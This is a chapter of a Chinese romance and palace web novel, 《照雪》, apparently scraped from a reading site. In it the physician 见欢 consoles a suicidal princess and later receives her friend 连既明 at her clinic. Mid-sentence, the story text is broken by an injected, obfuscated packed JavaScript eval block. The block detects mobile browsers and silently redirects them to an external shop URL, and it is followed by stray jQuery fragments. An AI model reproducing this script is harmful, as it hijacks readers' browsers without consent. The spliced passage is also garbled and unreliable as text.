45. 韶光
作品:《照雪》 常佳道:“原来,只是因为我是女子,做这些就是违反纲常了啊。我从来没有想到这样的话会从父皇的口中听到,我以为他懂我理解我,可其实在他眼里,我是女儿,而不是仅仅被划分为孩子一列。”
见欢道:“全心信任倚靠的人说了这样的话,因而公主才郁郁寡欢,失了求生之志。”
是一个陈述句。
常佳坦然道:“是,这样的理由听起来怯懦,但事实就是如此。我当然知道这条路必然坎坷不断,做好了踏过荆棘的准备,却没想到,第一个巴掌会来自于父亲。”
“我无法做他口中安享富贵的公主,他又是天子,我没有办法左右他的决定。说到底,他同别人一样,因我是女子,就觉得我不该不配。”
“与其眼睁睁看着理想化为不可实现的泡影,不如死了干净。”
她说这话时不是释然,反而带了一些疯狂。
见欢看向开得极盛的绣球花:“陛下自然是爱您,只是这种思想已经根深蒂固,非一朝一夕可改。”
常佳在听到“爱”字时极淡地笑了笑,又听她道:“公主才智过人,应也明白凡事都有先例,此事并不是全无转圜的余地。”
“谋事在人,成事在天。公主怎知自己必然会一败涂地?既然想法已经无从改变,那就让他们无法说出这样的想法,心服口服地按照您的意志前行。”
常佳怔愣着,见欢已然起身,朝她行了一礼道:“草民这便告辞了。”
常佳未说允也未说不允,待回过神来,见欢已走出一段距离。她匆忙起身:“云大夫。”
见欢回头,眸子清亮,带着明晃晃的笑意。
“多谢。”
南玄衍和云暮被一个内侍带到一处饮茶,云暮茶都喝了好几杯,总算看到见欢过来:“一切顺利?”
见欢颔首,对内侍道:“我们这便出宫,劳您带路。”
总算出了宫门,云暮觉得没那么拘谨了:“我先前还觉得宫里新鲜,这下来了两趟,觉得像个华丽的笼子,连话也不敢放开了说。还是像衍这样的好,平时话就不多,也不会感到拘束。”
被提及到的人淡淡看了他一眼:“我倒没看出来你拘束。”
一直在和内侍说话,相比较起来,还是那位内侍比较拘束。
云暮道:“我只是不喜欢冷场!咱们不用再来了吧?”
见欢道:“不用了。”
“两天,”云暮赞叹道:“两天就医好了公主要死要活的心病,佩服佩服。”
见欢道:“我没有把握她能好,只是把能做了都做了而已,剩下的要看她自己。”
云暮问:“下一处去哪?”
见欢正拭着额上的汗:“先回百花谷吧,我有本书忘记带了,这几日正想看。”
马车缓缓停下,见欢利落地跳下来,见医馆前站了位清俊的青衫公子,背对着她,正瞧着悬在门环上的铃铛。
见欢欣喜道:“既明!”
连既明回身,看到见欢朝她跑来,一双桃花眼浸了笑意:“本想前几天就来,结果有事耽搁了,希望来得还不算太迟,见欢没有忘了我。”
南玄衍迈步下车,看到连既明时动作一顿。云暮很是惊讶,随即有了一种将一切看穿的茅塞顿开之感。
连既明应该是喜欢见欢吧,不然怎会不辞辛苦来这里看她?
虽然云暮之前就隐隐有这样的感觉,只是事情繁多纷乱,总也没细想。
他走过去,笑道:“既然来了,若是不急,在这里留几日,空房间还有几间,一会儿我收拾一下。”
连既明道:“那便叨扰了。”
他又向南玄衍致了意,后者微微颔首,算作回应。
见欢把这些时日的趣闻讲给连既明,正聊到兴头,岁岁迈着猫步走了过来,见到连既明也不爬,两只圆眼睛滴溜溜地打量着他。
连既明俯身,试探地伸出一只手,岁岁走到他身边,用毛脑袋蹭了蹭他的手,发出舒服的呼噜声。
见欢笑道:“它很喜欢你。”
连既明轻轻摸着岁岁:“它很可爱,不知叫什么名字?”
见欢道:“岁岁。”
连既明唤了一声,小家伙喵喵叫,很开心地回应着。
容凝过来寻岁岁,看到一位陌生的俊秀公子正和见欢在院中说着话,不好打搅,想着等会儿再来,见欢已然瞧见了她:“容凝,怎么不过来?”
容凝走上前去,见欢向两人介绍道:“这位是容凝,隔壁绸缎铺的老板。这位是连既明,我的朋友。”
两人打了招呼,容凝看到躺在矮柜上睡着的岁岁,玩笑道:“你瞧它,总爱往你这儿来,你还缺不缺招财猫,我家岁岁可招客人了。”
见欢道:“好啊,那你就把岁岁给我好了,我一定好吃好喝供着。”
两人玩笑了几句,容凝抱过岁岁:“今日家中有亲戚来,我得早点回去了。”
容凝离开,两人也没继续之前的话题,见欢忽然问道:“你的伤已经完全好了吗?”
连既明道:“已经全好了,不必挂怀。”
见欢摆出一副生气的表情:“你遇到事情总不爱同我说,我忧心也是正常的。”
连既明道:“我自是不会欺瞒你的,你给我的药膏很管用,连疤都没留下,若还是不信,见欢大可检查。”
说着,他将手放到腰间,作势要去解衣带。
见欢忙按住他的手,回头看了眼门口,确认没人看到松了口气:“我何时说过不信你了?”
两人挨得极近,低低的笑声自头顶传来,见欢直起身,看到那双漂亮的桃花眼中满是促狭。
见欢反应过来:“你捉弄我!”
连既明道:“小人错了,再也不敢了。”
认错倒是快,见欢哼了一声。
云暮正要叫他们吃饭,将一切都尽收眼底,愈发觉得两人都对彼此有意,心中少了八卦看趣儿的轻松,倒是有些沉重。
檐下有个燕窝,本是一对雨燕的栖居地,前段时间添了一窝雏燕,每日张着嘴巴等待父母喂食。昨日,云暮见几只燕子在院子里飞翔,再往燕窝看去,里面已经空空如也。
好像幼燕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199639|191751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学会飞翔,只是一瞬之间的事。
他回过神,朝院子里的两人说道:“吃饭啦。”
见欢听到声音,率先起身,快步朝着屋里走去,连既明跟在后面,眼里满是笑意。
南玄衍将菜端上桌,看着两人一同进来,倒是没什么反应。
吃完饭,连既明帮着收拾饭桌,云暮罕见地没有推辞,两人一边收拾一边聊天,见欢百无聊赖地到院子里散步消食,南玄衍则回了屋中处理公务。
夏天的白日变得极长,圆缸中添了几个居民,是云暮前两天买菜时被赠的几尾金鱼,此刻正闲适地游着。
见欢抓了把鱼食,甫一走进,鱼儿匆忙摆着尾巴,藏在莲叶下了。
她将鱼食撒了进去,在一旁静静等待,过了一会儿,一尾金鱼小心翼翼地从叶子下游了出来,靠近漂浮在水面上的鱼食。
见欢想道,等她离开了,这些鱼又该送到哪去呢?容凝不行,猫天生就是鱼的克星,虽说岁岁很懒,也难保没有危险。但若是放进池塘,又不知是否会被大鱼吃掉。
她正为这几尾鱼的去处犯难,连既明刷了碗出来,看她呆站着,走到她身边,问道:“想什么想得这么出神?”
见欢叹了口气:“我在想等离开了之后这几尾鱼该怎么办,又带不走。”
连既明道:“倒是可以送给爱鱼之人,这样也就不必忧愁它们过得不好了。”
见欢点头:“是个好主意,桑榆近日如何了?”
连既明道:“在和程子检学刀,又学了些新的招式,没日没夜地练。”
见欢往竹椅上一坐,拍了拍旁边的位置:“人能找到喜爱,并愿意为此浪费时间的事情真是一件幸事。”
连既明随之坐下,笑道:“可是有人会说是虚度光阴。”
见欢不服气道:“我又没浪费别人的时间,浪费自己的怎么了,活着这么艰辛,做些喜欢的事才是应当应分的。”
太阳西垂,余晖还未散尽,月已迫不及待露出头,两方隔着整片天空遥遥对照,一个橘黄一个皎白。
天难能有这样独美的时刻,赤红的云霞横了千里,像静谧热烈的火焰。此时天气没有那么热,白日被烈日晒得蜷起来的花儿也舒展开来,只待夜至,好在月光下铺陈鲜妍。
两人又聊了会儿,直到月亮爬上树梢,才回屋安睡。
南玄衍这两日愈发寡言,每每看到相谈甚欢的见欢和连既明,必目不斜视地走过,从不插一句言,步伐快的像是在躲瘟神。
云暮自然是察觉不到衍内心的想法,毕竟这家伙若是将嘴唇涂白,放入死人堆里恐也不见突兀。
他近日也莫名苦恼起来,这天夜里忍不住叩响了南玄衍的房门,听到一声极为冷淡的“进”后,如一阵风一样钻了进去。
极佳的耳力使南玄衍光听脚步声就知道来访的人是谁,此时云暮进来,见他依旧坐在桌前写字,先是长叹了一声。
南玄衍动作未停,仍写着字,云暮自顾自坐下,又是一声叹息。
南玄衍住了笔,转过头:“夜里前来,所为何事?”

